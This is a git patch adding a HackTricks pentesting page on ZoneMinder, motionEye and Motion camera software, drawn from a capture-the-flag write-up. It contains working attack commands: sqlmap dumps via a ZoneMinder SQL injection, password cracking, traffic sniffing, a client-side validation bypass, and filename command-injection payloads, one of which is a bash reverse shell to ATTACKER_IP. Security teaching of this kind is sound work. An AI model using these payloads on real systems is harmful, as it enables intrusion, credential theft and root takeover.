From aca8fbc60d346330f3c841a570b1cc2906ce46cd Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sat, 11 Jul 2026 19:07:01 +0000 Subject: [PATCH] Add content from: HTB CCTV: ZoneMinder SQL Injection, tcpdump Credential Sniff... --- src/SUMMARY.md | 1 + .../pentesting-web/README.md | 1 + .../zoneminder-motioneye-motion.md | 190 ++++++++++++++++++ 3 files changed, 192 insertions(+) create mode 100644 src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 163ae4e7ef5..2a3f9e3fafb 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -556,6 +556,7 @@ - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md) - [Zabbix](network-services-pentesting/pentesting-web/zabbix.md) + - [Zoneminder Motioneye Motion](network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md) - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md) - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md) - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md) diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index ba0841f170c..d144d3eec55 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -95,6 +95,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno - [**JSP**](jsp.md) - [**Laravel**](laravel.md) - [**Moodle**](moodle.md) +- [**ZoneMinder / motionEye / Motion**](zoneminder-motioneye-motion.md) - [**Nginx**](nginx.md) - [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html) - [**Python**](python.md) diff --git a/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md b/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md new file mode 100644 index 00000000000..49bc5d6c1c5 --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md @@ -0,0 +1,190 @@ +# ZoneMinder, motionEye & Motion + +{{#include ../../banners/hacktricks-training.md}} + +## Quick triage + +When a target exposes a **CCTV / NVR web stack**, look for combinations such as: + +- **ZoneMinder** under paths like **`/zm/`** +- **motionEye** on **`127.0.0.1:8765`** +- **Motion webcontrol** on **`127.0.0.1:7999`** +- RTSP / video side services such as **8554**, **1935**, or local image streams + +After host access, the most interesting files are commonly: + +- **`/etc/motioneye/motioneye.conf`** +- **`/etc/motioneye/*.conf`** +- ZoneMinder web sources / config revealing the DB name, tables, and auth model + +## ZoneMinder + +### Default credentials and versioning + +ZoneMinder is commonly worth checking for: + +- **default credentials** such as **`admin:admin`** +- exposed version information in the UI +- local source code / package version to map to known auth-only bugs + +### Blind SQLi in `action=removetag` + +In vulnerable ZoneMinder **`1.37.* <= 1.37.64`**, the **`tid`** parameter in: + +```text +/zm/index.php?view=request&request=event&action=removetag&tid=1 +``` + +can reach code that safely uses **`$_REQUEST['tid']`** in one query and then later concatenates it into: + +```php +$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; +``` + +Useful workflow: + +1. Prove injection with a **time-based** payload such as **`SLEEP(5)`**. +2. Check if a **faster Boolean oracle** exists by appending conditions that preserve or break the response. +3. Determine the **UNION column count**. +4. Feed the working shape to **sqlmap** instead of waiting for slow time-based extraction. + +Example from a real exploitation chain where the original query accepted **4 columns** and HTTP **`200`** indicated **True**: + +```bash +sqlmap -r removetag.request -p tid --batch \ + --prefix="1 UNION SELECT 1,2,3,4 WHERE " \ + --code 200 --technique=B --flush-session +``` + +Then enumerate only what matters: + +```bash +sqlmap -r removetag.request -p tid --batch \ + --prefix="1 UNION SELECT 1,2,3,4 WHERE " \ + --code 200 --technique=B \ + -D zm -T Users -C Username,Password,Name,Email --dump +``` + +This is specially useful when the application gives a better **Boolean** signal than sqlmap initially discovers by itself. + +### Turning app SQLi into OS access + +ZoneMinder user dumps are high-value because they often contain **reusable operator credentials**. + +- Identify the hash type first (for example **bcrypt** / **`$2y$`**). +- Crack only the extracted application users. +- Test reuse against **SSH**, **`su`**, SMB, VPN, or other operator-facing services. + +Example bcrypt cracking flow: + +```bash +hashcat zm.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user -m 3200 +``` + +## Post-foothold: sniffing internal creds with `tcpdump` capabilities + +On Linux CCTV appliances, low-privileged shells sometimes inherit useful **file capabilities** instead of sudo. + +Check for capture primitives: + +```bash +getcap -r / 2>/dev/null +``` + +If **`tcpdump`** has **`cap_net_raw`** (or **`cap_net_admin,cap_net_raw`**), capture local traffic even as a non-root user: + +```bash +timeout 120 tcpdump -i any -w /tmp/capture.pcap +``` + +This is specially valuable when: + +- loopback / bridge services are doing **cleartext internal auth** +- Docker bridges expose custom management channels +- **`/proc`** is mounted with **`hidepid`**, reducing normal process visibility + +Review the pcap in Wireshark and prioritise: + +- **Conversations** +- **Protocol Hierarchy** +- **Follow TCP Stream** on local / container management ports + +## motionEye / Motion + +### Signed requests + client-side-only validation + +motionEye signs config requests with **`_signature`**, so directly editing a captured JSON body normally breaks the request. However, some dangerous fields are only protected by **client-side JavaScript validation**. + +A practical approach is: + +1. Use the legitimate UI so the browser generates a valid **`_signature`**. +2. In DevTools, neutralise the validator, for example: + +```javascript +configUiValid = function() { return true; }; +``` + +3. Submit the malicious value through the normal UI workflow. + +This is useful when the UI blocks characters such as **`$`**, but the backend still accepts them. + +### Filename-to-shell command injection + +In vulnerable motionEye / Motion setups, fields such as **`image_file_name`** or **`picture_filename`** are written into Motion configuration and later propagated into shell-executed hooks such as **`on_picture_save ... %f`**. + +If the saved filename contains shell substitution like **`$(...)`**, the shell expands it before the hook runs. + +Probe payloads: + +```text +$(id) +$(ping -c 1 ATTACKER_IP) +$(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1') +``` + +If the Motion process or hook executes as **root**, this becomes **root RCE**. + +### Unauthenticated localhost Motion webcontrol + +If Motion webcontrol is reachable and unauthenticated, test it directly: + +```bash +curl -s http://127.0.0.1:7999/ +``` + +If advanced parameters are exposed (for example **`webcontrol_parms 2`**), you may be able to set **filename-related** options even when direct **`on_*`** hooks are protected. + +Minimal exploitation sequence: + +```bash +curl -s "http://127.0.0.1:7999/1/config/set?picture_output=on" +curl -s "http://127.0.0.1:7999/1/config/set?picture_filename=%24(touch%20/tmp/pwned)" +curl -s "http://127.0.0.1:7999/1/config/set?emulate_motion=on" +``` + +Why this works: + +- Motion saves a file using the attacker-controlled filename. +- The file path is later inserted as **`%f`** into **`on_picture_save`**. +- The hook is executed through a shell, so **`$(...)`** runs first. + +### Stored SHA1 hash accepted as a login secret + +If you can read **`@admin_password`** from motionEye config, do not assume you must crack it first. + +Some motionEye builds store: + +```text +@admin_password = sha1(real_password) +``` + +and then accept request signatures computed using the stored hash-derived secret. In practice, this means the stored **SHA1** may itself be usable as the **login secret** for the admin UI. + +## References + +- [0xdf - HTB: CCTV](https://0xdf.gitlab.io/2026/07/11/htb-cctv.html) +- [ZoneMinder repository](https://github.com/ZoneMinder/zoneminder) +- [motionEye repository](https://github.com/motioneye-project/motioneye) +- [Motion Project](https://motion-project.github.io/) + +{{#include ../../banners/hacktricks-training.md}}